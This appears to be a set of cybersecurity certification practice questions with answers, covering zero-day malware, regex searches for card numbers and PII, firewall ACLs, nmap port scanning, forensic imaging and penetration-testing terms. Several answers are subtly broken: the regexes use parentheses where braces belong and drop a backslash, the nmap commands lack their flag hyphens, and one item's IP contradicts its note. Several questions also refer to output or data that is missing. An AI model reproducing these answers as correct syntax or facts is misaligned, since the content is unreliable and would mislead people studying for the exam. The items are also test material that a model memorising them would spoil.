Using a heuristic system to detect an anomaly in a computer's baseline, a system administrator was able to detect an attack even though the company signature based IDS and antivirus did not detect it. Further analysis revealed that the attacker had downloaded an executable file onto the company PC from the USB port, and executed it to trigger a privilege escalation flaw. Which of the following attacks has MOST likely occurred?

Zero-day

An analyst is observing unusual network traffic from a workstation. The workstation is communicating with a known malicious site over an encrypted tunnel. A full antivirus scan with an updated antivirus signature file does not show any sign of infection. Which of the following has occurred on the workstation?

Zero-day attack

An HR employee began having issues with a device becoming unresponsive after attempting to open an email attachment. When informed, the security analyst became suspicious of the situation, even though there was not any unusual behavior on the IDS or any alerts from the antivirus software. Which of the following BEST describes the type of threat in this situation?

Zero-day malware

Company A suspects an employee has been exfiltrating PII via a USB thumb drive. An analyst is tasked with attempting to locate the information on the drive. The PII in question includes the following: Which of the following would BEST accomplish the task assigned to the analyst?

\d(3)-d(2)-\d(4)

The Chief Information Security Officer (CISO) asks a security analyst to write a new SIEM search rule to determine if any credit card numbers are being written to log files. The CISO and security analyst suspect the following log snippet contains real customer card data: Which of the following expressions would find potential credit card numbers in a format that matches the log snippet?

^[0-9](16)$

NOTE: Question IP must be 192.168.192.123 During a network reconnaissance engagement, a penetration tester was given perimeter firewall ACLs to accelerate the scanning process. The penetration tester has decided to concentrate on trying to brute force log in to destination IP address 192.168.192.132 via secure shell. Given a source IP address of 10.10.10.30, which of the following ACLs will permit this access? A.

access-list outside-acl permit tcp host 10.10.10.0 mask 255.255.255.0 host 192.168.192.123 eq ssh

After analyzing and correlating activity from multiple sensors, the security analyst has determined a group from a high-risk country is responsible for a sophisticated breach of the company network and continuous administration of targeted attacks for the past three months. Until now, the attacks went unnoticed. This is an example of:

advanced persistent threat

Which of the following commands would a security analyst use to make a copy of an image for forensics use?

dd

The primary difference in concern between remediating identified vulnerabilities found in general-purpose IT network servers and that of SCADA systems is that:

doing so has a greater chance of causing operational impact in SCADA systems.

A common mobile device vulnerability has made unauthorized modifications to a device. The device owner removes the vendor/carrier provided limitations on the mobile device. This is also known as:

jailbreaking.

A cybersecurity analyst was asked to discover the hardware address of 30 networked assets. From a command line, which of the following tools would be used to provide ARP scanning and reflects the MOST efficient method for accomplishing the task?

nmap

An analyst wants to use a command line tool to identify open ports and running services on a host along with the application that is associated with those services and port. Which of the following should the analyst use?

nmap

A cybersecurity professional wants to determine if a web server is running on a remote host with the IP address 192.168.1.100. Which of the following can be used to perform this task?

nmap 192.168.1.100 p 80 A

An organization is conducting penetration testing to identify possible network vulnerabilities. The penetration tester has already identified active hosts in the network and is now scanning individual hosts to determine if any are running a web server. The output from the latest scan is shown below: Which of the following commands would have generated the output above?

nmap sV 192.168.1.13 p 80

An organization is conducting penetration testing to identify possible network vulnerabilities. The penetration tester has received the following output from the latest scan: The penetration tester knows the organization does not use Timbuktu servers and wants to have Nmap interrogate the ports on the target in more detail. Which of the following commands should the penetration tester use NEXT?

nmap sV 192.168.1.13 p1417

A project lead is reviewing the statement of work for an upcoming project that is focused on identifying potential weaknesses in the organization's internal and external network infrastructure. As part of the project, a team of external contractors will attempt to employ various attacks against the organization. The statement of work specifically addresses the utilization of an automated tool to probe network resources in an attempt to develop logical diagrams indication weaknesses in the infrastructure. The scope of activity as described in the statement of work is an example of:

penetration testing

While preparing for a third-party audit, the vice president of risk management and the vice president of information technology have stipulated that the vendor may not use offensive software during the audit. This is an example of:

rules of engagement

Creating an isolated environment in order to test and observe the behavior of unknown software is also known as:

sandboxing

Which of the following tools should a cybersecurity analyst use to verify the integrity of a forensic image before and after an investigation?

sha1sum